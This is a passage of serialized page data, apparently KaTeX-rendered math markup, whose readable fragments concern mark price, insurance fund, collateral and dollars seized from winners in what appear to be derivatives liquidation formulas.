,{"className":161417},[4130],[161419],{"type":23,"tag":213,"props":161420,"children":161422},{"className":161421,"style":93183},[4135],[161423],{"type":23,"tag":213,"props":161424,"children":161425},{},[],{"type":23,"tag":213,"props":161427,"children":161429},{"style":161428},"top:-2.5512em;",[161430,161434],{"type":23,"tag":213,"props":161431,"children":161433},{"className":161432,"style":160998},[4144],[],{"type":23,"tag":213,"props":161435,"children":161437},{"className":161436},[4103],[161438],{"type":23,"tag":213,"props":161439,"children":161441},{"className":161440},[4103],[161442,161447],{"type":23,"tag":213,"props":161443,"children":161445},{"className":161444},[4103,21637],[161446],{"type":28,"value":84398},{"type":23,"tag":213,"props":161448,"children":161450},{"className":161449},[4120],[161451],{"type":23,"tag":213,"props":161452,"children":161454},{"className":161453},[4125,21691],[161455,161484],{"type":23,"tag":213,"props":161456,"children":161458},{"className":161457},[4130],[161459,161479],{"type":23,"tag":213,"props":161460,"children":161462},{"className":161461,"style":93629},[4135],[161463],{"type":23,"tag":213,"props":161464,"children":161465},{"style":93156},[161466,161470],{"type":23,"tag":213,"props":161467,"children":161469},{"className":161468,"style":4145},[4144],[],{"type":23,"tag":213,"props":161471,"children":161473},{"className":161472},[4150,4151,4152,4153],[161474],{"type":23,"tag":213,"props":161475,"children":161477},{"className":161476},[4103,21637,4153],[161478],{"type":28,"value":3826},{"type":23,"tag":213,"props":161480,"children":161482},{"className":161481},[21794],[161483],{"type":28,"value":21797},{"type":23,"tag":213,"props":161485,"children":161487},{"className":161486},[4130],[161488],{"type":23,"tag":213,"props":161489,"children":161491},{"className":161490,"style":93183},[4135],[161492],{"type":23,"tag":213,"props":161493,"children":161494},{},[],{"type":23,"tag":213,"props":161496,"children":161498},{"style":161497},"top:-0.3652em;",[161499,161503],{"type":23,"tag":213,"props":161500,"children":161502},{"className":161501,"style":160998},[4144],[],{"type":23,"tag":213,"props":161504,"children":161506},{"className":161505},[4103],[161507],{"type":23,"tag":213,"props":161508,"children":161510},{"className":161509},[4103],[161511,161516],{"type":23,"tag":213,"props":161512,"children":161514},{"className":161513,"style":93334},[4103,21637],[161515],{"type":28,"value":93337},{"type":23,"tag":213,"props":161517,"children":161519},{"className":161518},[4120],[161520],{"type":23,"tag":213,"props":161521,"children":161523},{"className":161522},[4125,21691],[161524,161553],{"type":23,"tag":213,"props":161525,"children":161527},{"className":161526},[4130],[161528,161548],{"type":23,"tag":213,"props":161529,"children":161531},{"className":161530,"style":142654},[4135],[161532],{"type":23,"tag":213,"props":161533,"children":161534},{"style":110529},[161535,161539],{"type":23,"tag":213,"props":161536,"children":161538},{"className":161537,"style":4145},[4144],[],{"type":23,"tag":213,"props":161540,"children":161542},{"className":161541},[4150,4151,4152,4153],[161543],{"type":23,"tag":213,"props":161544,"children":161546},{"className":161545,"style":21638},[4103,21637,4153],[161547],{"type":28,"value":6079},{"type":23,"tag":213,"props":161549,"children":161551},{"className":161550},[21794],[161552],{"type":28,"value":21797},{"type":23,"tag":213,"props":161554,"children":161556},{"className":161555},[4130],[161557],{"type":23,"tag":213,"props":161558,"children":161560},{"className":161559,"style":93183},[4135],[161561],{"type":23,"tag":213,"props":161562,"children":161563},{},[],{"type":23,"tag":213,"props":161565,"children":161567},{"style":161566},"top:2.2624em;",[161568,161572],{"type":23,"tag":213,"props":161569,"children":161571},{"className":161570,"style":160998},[4144],[],{"type":23,"tag":213,"props":161573,"children":161575},{"className":161574},[4103],[161576],{"type":23,"tag":213,"props":161577,"children":161579},{"className":161578},[4103],[161580,161586],{"type":23,"tag":213,"props":161581,"children":161583},{"className":161582,"style":93100},[4103,21637],[161584],{"type":28,"value":161585},"D",{"type":23,"tag":213,"props":161587,"children":161589},{"className":161588},[4120],[161590],{"type":23,"tag":213,"props":161591,"children":161593},{"className":161592},[4125,21691],[161594,161623],{"type":23,"tag":213,"props":161595,"children":161597},{"className":161596},[4130],[161598,161618],{"type":23,"tag":213,"props":161599,"children":161601},{"className":161600,"style":142654},[4135],[161602],{"type":23,"tag":213,"props":161603,"children":161604},{"style":110099},[161605,161609],{"type":23,"tag":213,"props":161606,"children":161608},{"className":161607,"style":4145},[4144],[],{"type":23,"tag":213,"props":161610,"children":161612},{"className":161611},[4150,4151,4152,4153],[161613],{"type":23,"tag":213,"props":161614,"children":161616},{"className":161615,"style":21638},[4103,21637,4153],[161617],{"type":28,"value":6079},{"type":23,"tag":213,"props":161619,"children":161621},{"className":161620},[21794],[161622],{"type":28,"value":21797},{"type":23,"tag":213,"props":161624,"children":161626},{"className":161625},[4130],[161627],{"type":23,"tag":213,"props":161628,"children":161630},{"className":161629,"style":93183},[4135],[161631],{"type":23,"tag":213,"props":161632,"children":161633},{},[],{"type":23,"tag":213,"props":161635,"children":161637},{"style":161636},"top:4.8901em;",[161638,161642],{"type":23,"tag":213,"props":161639,"children":161641},{"className":161640,"style":160998},[4144],[],{"type":23,"tag":213,"props":161643,"children":161645},{"className":161644},[4103],[161646],{"type":23,"tag":213,"props":161647,"children":161649},{"className":161648},[4103],[161650,161656],{"type":23,"tag":213,"props":161651,"children":161653},{"className":161652,"style":95108},[4103,21637],[161654],{"type":28,"value":161655},"U",{"type":23,"tag":213,"props":161657,"children":161659},{"className":161658},[4120],[161660],{"type":23,"tag":213,"props":161661,"children":161663},{"className":161662},[4125,21691],[161664,161694],{"type":23,"tag":213,"props":161665,"children":161667},{"className":161666},[4130],[161668,161689],{"type":23,"tag":213,"props":161669,"children":161671},{"className":161670,"style":142654},[4135],[161672],{"type":23,"tag":213,"props":161673,"children":161675},{"style":161674},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[161676,161680],{"type":23,"tag":213,"props":161677,"children":161679},{"className":161678,"style":4145},[4144],[],{"type":23,"tag":213,"props":161681,"children":161683},{"className":161682},[4150,4151,4152,4153],[161684],{"type":23,"tag":213,"props":161685,"children":161687},{"className":161686,"style":21638},[4103,21637,4153],[161688],{"type":28,"value":6079},{"type":23,"tag":213,"props":161690,"children":161692},{"className":161691},[21794],[161693],{"type":28,"value":21797},{"type":23,"tag":213,"props":161695,"children":161697},{"className":161696},[4130],[161698],{"type":23,"tag":213,"props":161699,"children":161701},{"className":161700,"style":93183},[4135],[161702],{"type":23,"tag":213,"props":161703,"children":161704},{},[],{"type":23,"tag":213,"props":161706,"children":161708},{"style":161707},"top:7.3078em;",[161709,161713],{"type":23,"tag":213,"props":161710,"children":161712},{"className":161711,"style":160998},[4144],[],{"type":23,"tag":213,"props":161714,"children":161716},{"className":161715},[4103],[161717],{"type":23,"tag":213,"props":161718,"children":161720},{"className":161719},[4103],[161721,161726],{"type":23,"tag":213,"props":161722,"children":161724},{"className":161723,"style":122877},[4103,21637],[161725],{"type":28,"value":122880},{"type":23,"tag":213,"props":161727,"children":161729},{"className":161728},[4120],[161730],{"type":23,"tag":213,"props":161731,"children":161733},{"className":161732},[4125,21691],[161734,161765],{"type":23,"tag":213,"props":161735,"children":161737},{"className":161736},[4130],[161738,161760],{"type":23,"tag":213,"props":161739,"children":161742},{"className":161740,"style":161741},[4135],"height:0.2806em;",[161743],{"type":23,"tag":213,"props":161744,"children":161746},{"style":161745},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[161747,161751],{"type":23,"tag":213,"props":161748,"children":161750},{"className":161749,"style":4145},[4144],[],{"type":23,"tag":213,"props":161752,"children":161754},{"className":161753},[4150,4151,4152,4153],[161755],{"type":23,"tag":213,"props":161756,"children":161758},{"className":161757},[4103,21637,4153],[161759],{"type":28,"value":21779},{"type":23,"tag":213,"props":161761,"children":161763},{"className":161762},[21794],[161764],{"type":28,"value":21797},{"type":23,"tag":213,"props":161766,"children":161768},{"className":161767},[4130],[161769],{"type":23,"tag":213,"props":161770,"children":161772},{"className":161771,"style":93183},[4135],[161773],{"type":23,"tag":213,"props":161774,"children":161775},{},[],{"type":23,"tag":213,"props":161777,"children":161779},{"className":161778},[21794],[161780],{"type":28,"value":21797},{"type":23,"tag":213,"props":161782,"children":161784},{"className":161783},[4130],[161785],{"type":23,"tag":213,"props":161786,"children":161789},{"className":161787,"style":161788},[4135],"height:11.3392em;",[161790],{"type":23,"tag":213,"props":161791,"children":161792},{},[],{"type":23,"tag":213,"props":161794,"children":161796},{"className":161795},[159912],[161797],{"type":23,"tag":213,"props":161798,"children":161800},{"className":161799},[4125,21691],[161801,163503],{"type":23,"tag":213,"props":161802,"children":161804},{"className":161803},[4130],[161805,163498],{"type":23,"tag":213,"props":161806,"children":161808},{"className":161807,"style":160989},[4135],[161809,161847,161885,162032,162267,162422,162527,162570,162791,162950,163140,163292],{"type":23,"tag":213,"props":161810,"children":161811},{"style":160993},[161812,161816],{"type":23,"tag":213,"props":161813,"children":161815},{"className":161814,"style":160998},[4144],[],{"type":23,"tag":213,"props":161817,"children":161819},{"className":161818},[4103],[161820,161824,161828,161833,161837],{"type":23,"tag":213,"props":161821,"children":161823},{"className":161822},[4103],[],{"type":23,"tag":213,"props":161825,"children":161827},{"className":161826,"style":4282},[4184],[],{"type":23,"tag":213,"props":161829,"children":161831},{"className":161830},[4287],[161832],{"type":28,"value":21656},{"type":23,"tag":213,"props":161834,"children":161836},{"className":161835,"style":4282},[4184],[],{"type":23,"tag":213,"props":161838,"children":161840},{"className":161839},[4103,28],[161841],{"type":23,"tag":213,"props":161842,"children":161844},{"className":161843},[4103],[161845],{"type":28,"value":161846},"mark price",{"type":23,"tag":213,"props":161848,"children":161849},{"style":161064},[161850,161854],{"type":23,"tag":213,"props":161851,"children":161853},{"className":161852,"style":160998},[4144],[],{"type":23,"tag":213,"props":161855,"children":161857},{"className":161856},[4103],[161858,161862,161866,161871,161875],{"type":23,"tag":213,"props":161859,"children":161861},{"className":161860},[4103],[],{"type":23,"tag":213,"props":161863,"children":161865},{"className":161864,"style":4282},[4184],[],{"type":23,"tag":213,"props":161867,"children":161869},{"className":161868},[4287],[161870],{"type":28,"value":21656},{"type":23,"tag":213,"props":161872,"children":161874},{"className":161873,"style":4282},[4184],[],{"type":23,"tag":213,"props":161876,"children":161878},{"className":161877},[4103,28],[161879],{"type":23,"tag":213,"props":161880,"children":161882},{"className":161881},[4103],[161883],{"type":28,"value":161884},"insurance fund",{"type":23,"tag":213,"props":161886,"children":161887},{"style":161081},[161888,161892],{"type":23,"tag":213,"props":161889,"children":161891},{"className":161890,"style":160998},[4144],[],{"type":23,"tag":213,"props":161893,"children":161895},{"className":161894},[4103],[161896,161900,161904,161909,161913,161923,161927,161932,161936],{"type":23,"tag":213,"props":161897,"children":161899},{"className":161898},[4103],[],{"type":23,"tag":213,"props":161901,"children":161903},{"className":161902,"style":4282},[4184],[],{"type":23,"tag":213,"props":161905,"children":161907},{"className":161906},[4287],[161908],{"type":28,"value":21656},{"type":23,"tag":213,"props":161910,"children":161912},{"className":161911,"style":4282},[4184],[],{"type":23,"tag":213,"props":161914,"children":161916},{"className":161915},[4103,28],[161917],{"type":23,"tag":213,"props":161918,"children":161920},{"className":161919},[4103],[161921],{"type":28,"value":161922},"collateral",{"type":23,"tag":213,"props":161924,"children":161926},{"className":161925,"style":4282},[4184],[],{"type":23,"tag":213,"props":161928,"children":161930},{"className":161929},[4287],[161931],{"type":28,"value":3190},{"type":23,"tag":213,"props":161933,"children":161935},{"className":161934,"style":4282},[4184],[],{"type":23,"tag":213,"props":161937,"children":161939},{"className":161938},[4103],[161940,161944,162028],{"type":23,"tag":213,"props":161941,"children":161943},{"className":161942},[21766,113618],[],{"type":23,"tag":213,"props":161945,"children":161947},{"className":161946},[113623],[161948],{"type":23,"tag":213,"props":161949,"children":161951},{"className":161950},[4125,21691],[161952,162017],{"type":23,"tag":213,"props":161953,"children":161955},{"className":161954},[4130],[161956,162012],{"type":23,"tag":213,"props":161957,"children":161960},{"className":161958,"style":161959},[4135],"height:1.3714em;",[161961,161981,161992],{"type":23,"tag":213,"props":161962,"children":161963},{"style":159207},[161964,161968],{"type":23,"tag":213,"props":161965,"children":161967},{"className":161966,"style":112271},[4144],[],{"type":23,"tag":213,"props":161969,"children":161971},{"className":161970},[4103],[161972],{"type":23,"tag":213,"props":161973,"children":161975},{"className":161974},[4103,28],[161976],{"type":23,"tag":213,"props":161977,"children":161979},{"className":161978},[4103],[161980],{"type":28,"value":159244},{"type":23,"tag":213,"props":161982,"children":161983},{"style":113673},[161984,161988],{"type":23,"tag":213,"props":161985,"children":161987},{"className":161986,"style":112271},[4144],[],{"type":23,"tag":213,"props":161989,"children":161991},{"className":161990,"style":113683},[113682],[],{"type":23,"tag":213,"props":161993,"children":161994},{"style":159258},[161995,161999],{"type":23,"tag":213,"props":161996,"children":161998},{"className":161997,"style":112271},[4144],[],{"type":23,"tag":213,"props":162000,"children":162002},{"className":162001},[4103],[162003],{"type":23,"tag":213,"props":162004,"children":162006},{"className":162005},[4103,28],[162007],{"type":23,"tag":213,"props":162008,"children":162010},{"className":162009},[4103],[162011],{"type":28,"value":159283},{"type":23,"tag":213,"props":162013,"children":162015},{"className":162014},[21794],[162016],{"type":28,"value":21797},{"type":23,"tag":213,"props":162018,"children":162020},{"className":162019},[4130],[162021],{"type":23,"tag":213,"props":162022,"children":162024},{"className":162023,"style":159301},[4135],[162025],{"type":23,"tag":213,"props":162026,"children":162027},{},[],{"type":23,"tag":213,"props":162029,"children":162031},{"className":162030},[21788,113618],[],{"type":23,"tag":213,"props":162033,"children":162034},{"style":161150},[162035,162039],{"type":23,"tag":213,"props":162036,"children":162038},{"className":162037,"style":160998},[4144],[],{"type":23,"tag":213,"props":162040,"children":162042},{"className":162041},[4103],[162043,162047,162051,162056,162060,162117,162121,162126,162130,162135,162192,162196,162201,162205,162262],{"type":23,"tag":213,"props":162044,"children":162046},{"className":162045},[4103],[],{"type":23,"tag":213,"props":162048,"children":162050},{"className":162049,"style":4282},[4184],[],{"type":23,"tag":213,"props":162052,"children":162054},{"className":162053},[4287],[162055],{"type":28,"value":3190},{"type":23,"tag":213,"props":162057,"children":162059},{"className":162058,"style":4282},[4184],[],{"type":23,"tag":213,"props":162061,"children":162063},{"className":162062},[4103],[162064,162069],{"type":23,"tag":213,"props":162065,"children":162067},{"className":162066},[4103,21637],[162068],{"type":28,"value":10735},{"type":23,"tag":213,"props":162070,"children":162072},{"className":162071},[4120],[162073],{"type":23,"tag":213,"props":162074,"children":162076},{"className":162075},[4125,21691],[162077,162106],{"type":23,"tag":213,"props":162078,"children":162080},{"className":162079},[4130],[162081,162101],{"type":23,"tag":213,"props":162082,"children":162084},{"className":162083,"style":93629},[4135],[162085],{"type":23,"tag":213,"props":162086,"children":162087},{"style":93156},[162088,162092],{"type":23,"tag":213,"props":162089,"children":162091},{"className":162090,"style":4145},[4144],[],{"type":23,"tag":213,"props":162093,"children":162095},{"className":162094},[4150,4151,4152,4153],[162096],{"type":23,"tag":213,"props":162097,"children":162099},{"className":162098},[4103,21637,4153],[162100],{"type":28,"value":3826},{"type":23,"tag":213,"props":162102,"children":162104},{"className":162103},[21794],[162105],{"type":28,"value":21797},{"type":23,"tag":213,"props":162107,"children":162109},{"className":162108},[4130],[162110],{"type":23,"tag":213,"props":162111,"children":162113},{"className":162112,"style":93183},[4135],[162114],{"type":23,"tag":213,"props":162115,"children":162116},{},[],{"type":23,"tag":213,"props":162118,"children":162120},{"className":162119,"style":4185},[4184],[],{"type":23,"tag":213,"props":162122,"children":162124},{"className":162123},[4190],[162125],{"type":28,"value":111362},{"type":23,"tag":213,"props":162127,"children":162129},{"className":162128,"style":4185},[4184],[],{"type":23,"tag":213,"props":162131,"children":162133},{"className":162132},[21766],[162134],{"type":28,"value":265},{"type":23,"tag":213,"props":162136,"children":162138},{"className":162137},[4103],[162139,162144],{"type":23,"tag":213,"props":162140,"children":162142},{"className":162141,"style":21638},[4103,21637],[162143],{"type":28,"value":21641},{"type":23,"tag":213,"props":162145,"children":162147},{"className":162146},[4120],[162148],{"type":23,"tag":213,"props":162149,"children":162151},{"className":162150},[4125,21691],[162152,162181],{"type":23,"tag":213,"props":162153,"children":162155},{"className":162154},[4130],[162156,162176],{"type":23,"tag":213,"props":162157,"children":162159},{"className":162158,"style":109532},[4135],[162160],{"type":23,"tag":213,"props":162161,"children":162162},{"style":161031},[162163,162167],{"type":23,"tag":213,"props":162164,"children":162166},{"className":162165,"style":4145},[4144],[],{"type":23,"tag":213,"props":162168,"children":162170},{"className":162169},[4150,4151,4152,4153],[162171],{"type":23,"tag":213,"props":162172,"children":162174},{"className":162173},[4103,21637,4153],[162175],{"type":28,"value":56456},{"type":23,"tag":213,"props":162177,"children":162179},{"className":162178},[21794],[162180],{"type":28,"value":21797},{"type":23,"tag":213,"props":162182,"children":162184},{"className":162183},[4130],[162185],{"type":23,"tag":213,"props":162186,"children":162188},{"className":162187,"style":93183},[4135],[162189],{"type":23,"tag":213,"props":162190,"children":162191},{},[],{"type":23,"tag":213,"props":162193,"children":162195},{"className":162194,"style":4185},[4184],[],{"type":23,"tag":213,"props":162197,"children":162199},{"className":162198},[4190],[162200],{"type":28,"value":4164},{"type":23,"tag":213,"props":162202,"children":162204},{"className":162203,"style":4185},[4184],[],{"type":23,"tag":213,"props":162206,"children":162208},{"className":162207},[4103],[162209,162214],{"type":23,"tag":213,"props":162210,"children":162212},{"className":162211},[4103,21637],[162213],{"type":28,"value":24},{"type":23,"tag":213,"props":162215,"children":162217},{"className":162216},[4120],[162218],{"type":23,"tag":213,"props":162219,"children":162221},{"className":162220},[4125,21691],[162222,162251],{"type":23,"tag":213,"props":162223,"children":162225},{"className":162224},[4130],[162226,162246],{"type":23,"tag":213,"props":162227,"children":162229},{"className":162228,"style":93629},[4135],[162230],{"type":23,"tag":213,"props":162231,"children":162232},{"style":93156},[162233,162237],{"type":23,"tag":213,"props":162234,"children":162236},{"className":162235,"style":4145},[4144],[],{"type":23,"tag":213,"props":162238,"children":162240},{"className":162239},[4150,4151,4152,4153],[162241],{"type":23,"tag":213,"props":162242,"children":162244},{"className":162243},[4103,21637,4153],[162245],{"type":28,"value":3826},{"type":23,"tag":213,"props":162247,"children":162249},{"className":162248},[21794],[162250],{"type":28,"value":21797},{"type":23,"tag":213,"props":162252,"children":162254},{"className":162253},[4130],[162255],{"type":23,"tag":213,"props":162256,"children":162258},{"className":162257,"style":93183},[4135],[162259],{"type":23,"tag":213,"props":162260,"children":162261},{},[],{"type":23,"tag":213,"props":162263,"children":162265},{"className":162264},[21788],[162266],{"type":28,"value":2121},{"type":23,"tag":213,"props":162268,"children":162269},{"style":161220},[162270,162274],{"type":23,"tag":213,"props":162271,"children":162273},{"className":162272,"style":160998},[4144],[],{"type":23,"tag":213,"props":162275,"children":162277},{"className":162276},[4103],[162278,162282,162286,162291,162295,162352,162356,162361,162365],{"type":23,"tag":213,"props":162279,"children":162281},{"className":162280},[4103],[],{"type":23,"tag":213,"props":162283,"children":162285},{"className":162284,"style":4282},[4184],[],{"type":23,"tag":213,"props":162287,"children":162289},{"className":162288},[4287],[162290],{"type":28,"value":3190},{"type":23,"tag":213,"props":162292,"children":162294},{"className":162293,"style":4282},[4184],[],{"type":23,"tag":213,"props":162296,"children":162298},{"className":162297},[4103],[162299,162304],{"type":23,"tag":213,"props":162300,"children":162302},{"className":162301},[4103,21637],[162303],{"type":28,"value":3244},{"type":23,"tag":213,"props":162305,"children":162307},{"className":162306},[4120],[162308],{"type":23,"tag":213,"props":162309,"children":162311},{"className":162310},[4125,21691],[162312,162341],{"type":23,"tag":213,"props":162313,"children":162315},{"className":162314},[4130],[162316,162336],{"type":23,"tag":213,"props":162317,"children":162319},{"className":162318,"style":93629},[4135],[162320],{"type":23,"tag":213,"props":162321,"children":162322},{"style":93156},[162323,162327],{"type":23,"tag":213,"props":162324,"children":162326},{"className":162325,"style":4145},[4144],[],{"type":23,"tag":213,"props":162328,"children":162330},{"className":162329},[4150,4151,4152,4153],[162331],{"type":23,"tag":213,"props":162332,"children":162334},{"className":162333},[4103,21637,4153],[162335],{"type":28,"value":3826},{"type":23,"tag":213,"props":162337,"children":162339},{"className":162338},[21794],[162340],{"type":28,"value":21797},{"type":23,"tag":213,"props":162342,"children":162344},{"className":162343},[4130],[162345],{"type":23,"tag":213,"props":162346,"children":162348},{"className":162347,"style":93183},[4135],[162349],{"type":23,"tag":213,"props":162350,"children":162351},{},[],{"type":23,"tag":213,"props":162353,"children":162355},{"className":162354,"style":4185},[4184],[],{"type":23,"tag":213,"props":162357,"children":162359},{"className":162358},[4190],[162360],{"type":28,"value":2703},{"type":23,"tag":213,"props":162362,"children":162364},{"className":162363,"style":4185},[4184],[],{"type":23,"tag":213,"props":162366,"children":162368},{"className":162367},[4103],[162369,162374],{"type":23,"tag":213,"props":162370,"children":162372},{"className":162371,"style":93586},[4103,21637],[162373],{"type":28,"value":161169},{"type":23,"tag":213,"props":162375,"children":162377},{"className":162376},[4120],[162378],{"type":23,"tag":213,"props":162379,"children":162381},{"className":162380},[4125,21691],[162382,162411],{"type":23,"tag":213,"props":162383,"children":162385},{"className":162384},[4130],[162386,162406],{"type":23,"tag":213,"props":162387,"children":162389},{"className":162388,"style":93629},[4135],[162390],{"type":23,"tag":213,"props":162391,"children":162392},{"style":93633},[162393,162397],{"type":23,"tag":213,"props":162394,"children":162396},{"className":162395,"style":4145},[4144],[],{"type":23,"tag":213,"props":162398,"children":162400},{"className":162399},[4150,4151,4152,4153],[162401],{"type":23,"tag":213,"props":162402,"children":162404},{"className":162403},[4103,21637,4153],[162405],{"type":28,"value":3826},{"type":23,"tag":213,"props":162407,"children":162409},{"className":162408},[21794],[162410],{"type":28,"value":21797},{"type":23,"tag":213,"props":162412,"children":162414},{"className":162413},[4130],[162415],{"type":23,"tag":213,"props":162416,"children":162418},{"className":162417,"style":93183},[4135],[162419],{"type":23,"tag":213,"props":162420,"children":162421},{},[],{"type":23,"tag":213,"props":162423,"children":162424},{"style":161289},[162425,162429],{"type":23,"tag":213,"props":162426,"children":162428},{"className":162427,"style":160998},[4144],[],{"type":23,"tag":213,"props":162430,"children":162432},{"className":162431},[4103],[162433,162437,162441,162446,162450],{"type":23,"tag":213,"props":162434,"children":162436},{"className":162435},[4103],[],{"type":23,"tag":213,"props":162438,"children":162440},{"className":162439,"style":4282},[4184],[],{"type":23,"tag":213,"props":162442,"children":162444},{"className":162443},[4287],[162445],{"type":28,"value":3190},{"type":23,"tag":213,"props":162447,"children":162449},{"className":162448,"style":4282},[4184],[],{"type":23,"tag":213,"props":162451,"children":162453},{"className":162452},[4103],[162454,162459],{"type":23,"tag":213,"props":162455,"children":162457},{"className":162456,"style":93586},[4103,21637],[162458],{"type":28,"value":161169},{"type":23,"tag":213,"props":162460,"children":162462},{"className":162461},[4120],[162463],{"type":23,"tag":213,"props":162464,"children":162466},{"className":162465},[4125,21691],[162467,162515],{"type":23,"tag":213,"props":162468,"children":162470},{"className":162469},[4130],[162471,162510],{"type":23,"tag":213,"props":162472,"children":162475},{"className":162473,"style":162474},[4135],"height:0.8213em;",[162476,162493],{"type":23,"tag":213,"props":162477,"children":162479},{"style":162478},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[162480,162484],{"type":23,"tag":213,"props":162481,"children":162483},{"className":162482,"style":4145},[4144],[],{"type":23,"tag":213,"props":162485,"children":162487},{"className":162486},[4150,4151,4152,4153],[162488],{"type":23,"tag":213,"props":162489,"children":162491},{"className":162490},[4103,21637,4153],[162492],{"type":28,"value":3826},{"type":23,"tag":213,"props":162494,"children":162496},{"style":162495},"top:-3.113em;margin-right:0.05em;",[162497,162501],{"type":23,"tag":213,"props":162498,"children":162500},{"className":162499,"style":4145},[4144],[],{"type":23,"tag":213,"props":162502,"children":162504},{"className":162503},[4150,4151,4152,4153],[162505],{"type":23,"tag":213,"props":162506,"children":162508},{"className":162507},[4190,4153],[162509],{"type":28,"value":2703},{"type":23,"tag":213,"props":162511,"children":162513},{"className":162512},[21794],[162514],{"type":28,"value":21797},{"type":23,"tag":213,"props":162516,"children":162518},{"className":162517},[4130],[162519],{"type":23,"tag":213,"props":162520,"children":162523},{"className":162521,"style":162522},[4135],"height:0.267em;",[162524],{"type":23,"tag":213,"props":162525,"children":162526},{},[],{"type":23,"tag":213,"props":162528,"children":162529},{"style":161359},[162530,162534],{"type":23,"tag":213,"props":162531,"children":162533},{"className":162532,"style":160998},[4144],[],{"type":23,"tag":213,"props":162535,"children":162537},{"className":162536},[4103],[162538,162542,162546,162551,162555,162565],{"type":23,"tag":213,"props":162539,"children":162541},{"className":162540},[4103],[],{"type":23,"tag":213,"props":162543,"children":162545},{"className":162544,"style":4282},[4184],[],{"type":23,"tag":213,"props":162547,"children":162549},{"className":162548},[4287],[162550],{"type":28,"value":21656},{"type":23,"tag":213,"props":162552,"children":162554},{"className":162553,"style":4282},[4184],[],{"type":23,"tag":213,"props":162556,"children":162558},{"className":162557},[4103,28],[162559],{"type":23,"tag":213,"props":162560,"children":162562},{"className":162561},[4103],[162563],{"type":28,"value":162564},"dollars seized from winner ",{"type":23,"tag":213,"props":162566,"children":162568},{"className":162567},[4103,21637],[162569],{"type":28,"value":3826},{"type":23,"tag":213,"props":162571,"children":162572},{"style":161428},[162573,162577],{"type":23,"tag":213,"props":162574,"children":162576},{"className":162575,"style":160998},[4144],[],{"type":23,"tag":213,"props":162578,"children":162580},{"className":162579},[4103],[162581,162585,162589,162594,162598],{"type":23,"tag":213,"props":162582,"children":162584},{"className":162583},[4103],[],{"type":23,"tag":213,"props":162586,"children":162588},{"className":162587,"style":4282},[4184],[],{"type":23,"tag":213,"props":162590,"children":162592},{"className":162591},[4287],[162593],{"type":28,"value":3190},{"type":23,"tag":213,"props":162595,"children":162597},{"className":162596,"style":4282},[4184],[],{"type":23,"tag":213,"props":162599,"children":162601},{"className":162600},[4103],[162602,162606,162787],{"type":23,"tag":213,"props":162603,"children":162605},{"className":162604},[21766,113618],[],{"type":23,"tag":213,"props":162607,"children":162609},{"className":162608},[113623],[162610],{"type":23,"tag":213,"props":162611,"children":162613},{"className":162612},[4125,21691],[162614,162775],{"type":23,"tag":213,"props":162615,"children":162617},{"className":162616},[4130],[162618,162770],{"type":23,"tag":213,"props":162619,"children":162622},{"className":162620,"style":162621},[4135],"height:1.1076em;",[162623,162691,162702],{"type":23,"tag":213,"props":162624,"children":162625},{"style":159207},[162626,162630],{"type":23,"tag":213,"props":162627,"children":162629},{"className":162628,"style":112271},[4144],[],{"type":23,"tag":213,"props":162631,"children":162633},{"className":162632},[4103],[162634],{"type":23,"tag":213,"props":162635,"children":162637},{"className":162636},[4103],[162638,162643],{"type":23,"tag":213,"props":162639,"children":162641},{"className":162640,"style":122380},[4103,21637],[162642],{"type":28,"value":49624},{"type":23,"tag":213,"props":162644,"children":162646},{"className":162645},[4120],[162647],{"type":23,"tag":213,"props":162648,"children":162650},{"className":162649},[4125,21691],[162651,162680],{"type":23,"tag":213,"props":162652,"children":162654},{"className":162653},[4130],[162655,162675],{"type":23,"tag":213,"props":162656,"children":162658},{"className":162657,"style":93629},[4135],[162659],{"type":23,"tag":213,"props":162660,"children":162661},{"style":161326},[162662,162666],{"type":23,"tag":213,"props":162663,"children":162665},{"className":162664,"style":4145},[4144],[],{"type":23,"tag":213,"props":162667,"children":162669},{"className":162668},[4150,4151,4152,4153],[162670],{"type":23,"tag":213,"props":162671,"children":162673},{"className":162672},[4103,21637,4153],[162674],{"type":28,"value":3826},{"type":23,"tag":213,"props":162676,"children":162678},{"className":162677},[21794],[162679],{"type":28,"value":21797},{"type":23,"tag":213,"props":162681,"children":162683},{"className":162682},[4130],[162684],{"type":23,"tag":213,"props":162685,"children":162687},{"className":162686,"style":93183},[4135],[162688],{"type":23,"tag":213,"props":162689,"children":162690},{},[],{"type":23,"tag":213,"props":162692,"children":162693},{"style":113673},[162694,162698],{"type":23,"tag":213,"props":162695,"children":162697},{"className":162696,"style":112271},[4144],[],{"type":23,"tag":213,"props":162699,"children":162701},{"className":162700,"style":113683},[113682],[],{"type":23,"tag":213,"props":162703,"children":162704},{"style":159258},[162705,162709],{"type":23,"tag":213,"props":162706,"children":162708},{"className":162707,"style":112271},[4144],[],{"type":23,"tag":213,"props":162710,"children":162712},{"className":162711},[4103],[162713],{"type":23,"tag":213,"props":162714,"children":162716},{"className":162715},[4103],[162717,162722],{"type":23,"tag":213,"props":162718,"children":162720},{"className":162719},[4103,21637],[162721],{"type":28,"value":19329},{"type":23,"tag":213,"props":162723,"children":162725},{"className":162724},[4120],[162726],{"type":23,"tag":213,"props":162727,"children":162729},{"className":162728},[4125,21691],[162730,162759],{"type":23,"tag":213,"props":162731,"children":162733},{"className":162732},[4130],[162734,162754],{"type":23,"tag":213,"props":162735,"children":162737},{"className":162736,"style":93629},[4135],[162738],{"type":23,"tag":213,"props":162739,"children":162740},{"style":93156},[162741,162745],{"type":23,"tag":213,"props":162742,"children":162744},{"className":162743,"style":4145},[4144],[],{"type":23,"tag":213,"props":162746,"children":162748},{"className":162747},[4150,4151,4152,4153],[162749],{"type":23,"tag":213,"props":162750,"children":162752},{"className":162751},[4103,21637,4153],[162753],{"type":28,"value":3826},{"type":23,"tag":213,"props":162755,"children":162757},{"className":162756},[21794],[162758],{"type":28,"value":21797},{"type":23,"tag":213,"props":162760,"children":162762},{"className":162761},[4130],[162763],{"type":23,"tag":213,"props":162764,"children":162766},{"className":162765,"style":93183},[4135],[162767],{"type":23,"tag":213,"props":162768,"children":162769},{},[],{"type":23,"tag":213,"props":162771,"children":162773},{"className":162772},[21794],[162774],{"type":28,"value":21797},{"type":23,"tag":213,"props":162776,"children":162778},{"className":162777},[4130],[162779],{"type":23,"tag":213,"props":162780,"children":162783},{"className":162781,"style":162782},[4135],"height:0.836em;",[162784],{"type":23,"tag":213,"props":162785,"children":162786},{},[],{"type":23,"tag":213,"props":162788,"children":162790},{"className":162789},[21788,113618],